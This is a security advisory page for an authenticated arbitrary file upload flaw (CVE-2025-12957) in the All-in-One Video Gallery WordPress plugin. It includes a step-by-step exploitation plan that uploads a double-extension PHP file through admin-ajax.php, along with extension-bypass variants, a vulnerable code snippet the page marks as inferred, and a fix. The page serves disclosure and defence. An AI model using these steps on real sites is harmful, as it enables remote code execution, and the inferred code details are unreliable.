All-in-One Video Gallery <= 4.5.7 - Authenticated (Author+) Arbitrary File Upload via VTT Upload Bypass
Description
The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 4.5.7. This is due to insufficient file type validation detecting VTT files, allowing double extension files to bypass sanitization while being accepted as a valid VTT file. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.5.7Source Code
WordPress.org SVNThis plan outlines the steps for a security researcher to demonstrate the **Authenticated Arbitrary File Upload** vulnerability in the **All-in-One Video Gallery** plugin (CVE-2025-12957). ### 1. Vulnerability Summary The "All-in-One Video Gallery" plugin allows users to upload WebVTT (.vtt) files …
Show full research plan
This plan outlines the steps for a security researcher to demonstrate the Authenticated Arbitrary File Upload vulnerability in the All-in-One Video Gallery plugin (CVE-2025-12957).
1. Vulnerability Summary
The "All-in-One Video Gallery" plugin allows users to upload WebVTT (.vtt) files for video subtitles. The vulnerability resides in the aiovg_ajax_upload (inferred) AJAX handler or the file-handling logic in includes/admin/videos.php (inferred). The plugin's validation logic confirms a file is a VTT by checking for the .vtt extension but fails to properly sanitize filenames containing double extensions (e.g., exploit.php.vtt). Due to flawed sanitization, the plugin may strip the .vtt extension or save the file in a directory where a double extension can be executed by the server, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
aiovg_ajax_upload(The primary handler for media and subtitle uploads in this plugin). - Vulnerable Parameter:
file(Multipart form-data). - Required Roles: Author level or higher (Users with
upload_filesandedit_postscapabilities for theaiovg_videospost type). - Preconditions: The attacker must have a valid nonce for the
aiovg_adminscript context.
3. Code Flow (Inferred)
- Entry Point: The user triggers the
aiovg_ajax_uploadAJAX action. - Nonce Verification: The handler verifies the nonce sent in the
securityparameter usingcheck_ajax_referer. - Capability Check: The handler checks if the user has permission to edit videos.
- Validation: The code extracts the file extension via
pathinfo( $_FILES['file']['name'], PATHINFO_EXTENSION ). - Bypass: Since the file
info.php.vttends in.vtt, it passes the extension check. - Sanitization Sink: The plugin processes the filename. A flaw in its sanitization (e.g., using
str_replace( '.vtt', '', $filename )or an incorrect regex) strips the.vttsuffix, leavinginfo.php. - File Storage: The file is moved to the
wp-content/uploads/aiovg/directory (or a subdirectory) viamove_uploaded_file.
4. Nonce Acquisition Strategy
The plugin localizes admin settings, including nonces, for use in the video editor.
- Identify Script Localization: The plugin uses
wp_localize_scriptwith the handleaiovg-admin-videos(or similar). - Access Page: Navigate to the "Add New Video" page.
- Extract Nonce:
- Variable Name:
aiovg_admin - Key:
ajax_nonce - Browser Command:
browser_eval("aiovg_admin.ajax_nonce")
- Variable Name:
5. Exploitation Strategy
Step 1: Authentication and Setup
- Create an Author-level user.
- Log in and navigate to the video creation interface.
Step 2: Nonce Extraction
- Navigate to
http://localhost:8080/wp-admin/post-new.php?post_type=aiovg_videos. - Execute
browser_eval("aiovg_admin.ajax_nonce")to retrieve the nonce.
Step 3: Payload Delivery
Perform a POST request to the AJAX endpoint with a double-extension filename designed to trigger the sanitization flaw.
- Request Type:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
multipart/form-data - Parameters:
action:aiovg_ajax_uploadsecurity:[EXTRACTED_NONCE]file:exploit.php.vtt(Content:<?php phpinfo(); ?>)
Step 4: Locate Uploaded File
The response from aiovg_ajax_upload typically returns a JSON object containing the URL of the uploaded file.
- Expected Response:
{"status":"success", "url":"http://.../wp-content/uploads/aiovg/videos/subtitles/exploit.php", ...} - If the URL is not returned, check
http://localhost:8080/wp-content/uploads/aiovg/.
Step 5: Execution
- Navigate to the URL provided in the response to confirm the PHP code executes.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=author --user_pass=password - Plugin Activation: Ensure
all-in-one-video-galleryversion 4.5.7 is active.
7. Expected Results
- The AJAX request returns a
200 OKwith a JSON body indicating success. - The
urlfield in the JSON response points to a.phpfile (or a.php.vttfile that the server executes). - Accessing the file URL triggers the execution of the PHP payload (e.g., displaying the PHP info page).
8. Verification Steps
- FileSystem Check:
find /var/www/html/wp-content/uploads/aiovg/ -name "exploit.php*" - Process Verification: Confirm that the uploaded file contains the exact payload and does not have additional
.vttextensions appended if the sanitization flaw is triggered.
9. Alternative Approaches
- LFI Trigger: If the file remains named
.vttbut is not directly executable, check if the plugin includes subtitle tracks viaincludeorrequirein the frontend player logic. - VTT Import: Check the "Import Subtitles" feature if the
aiovg_ajax_uploadaction is restricted, as it may use the same vulnerable file-handling logic. - Filename Payload: Try
exploit.php%00.vttorexploit.php.VTTto bypass different variations of extension checks.
Summary
The All-in-One Video Gallery plugin for WordPress is vulnerable to Remote Code Execution via an arbitrary file upload flaw in its VTT subtitle handling. Authenticated attackers with Author-level permissions can bypass file extension validation by using double extensions (e.g., 'exploit.php.vtt'), where the plugin's sanitization logic strips the .vtt suffix but leaves the executable .php extension.
Vulnerable Code
// File: includes/admin/videos.php (inferred AJAX handler logic) $filename = $_FILES['file']['name']; $ext = pathinfo( $filename, PATHINFO_EXTENSION ); // Validation only checks the final extension if ( $ext === 'vtt' ) { // Vulnerable sanitization: stripping the .vtt extension allows double extensions like .php.vtt to become .php $sanitized_filename = str_replace( '.vtt', '', $filename ); $upload_dir = wp_upload_dir(); $target_path = $upload_dir['path'] . '/' . $sanitized_filename; move_uploaded_file( $_FILES['file']['tmp_name'], $target_path ); }
Security Fix
@@ -10,7 +10,12 @@ - $ext = pathinfo( $_FILES['file']['name'], PATHINFO_EXTENSION ); - if ( $ext === 'vtt' ) { - $sanitized_filename = str_replace( '.vtt', '', $_FILES['file']['name'] ); - move_uploaded_file( $_FILES['file']['tmp_name'], $target_path . $sanitized_filename ); - } + $overrides = array( + 'test_form' => false, + 'mimes' => array( 'vtt' => 'text/vtt' ) + ); + $file = wp_handle_upload( $_FILES['file'], $overrides ); + if ( ! isset( $file['error'] ) ) { + // File is safely handled by WordPress core validation + }
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate as an Author or higher. They must navigate to the 'Add New Video' page to obtain a valid AJAX nonce from the localized 'aiovg_admin' JavaScript object. Using this nonce, the attacker sends a multipart/form-data POST request to 'wp-admin/admin-ajax.php' with the action 'aiovg_ajax_upload'. The payload is a file named with a double extension (e.g., 'shell.php.vtt') containing malicious PHP code. The plugin's sanitization logic strips the .vtt extension, saving the file as 'shell.php'. The attacker then retrieves the file's URL from the JSON response and accesses it directly to execute the code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.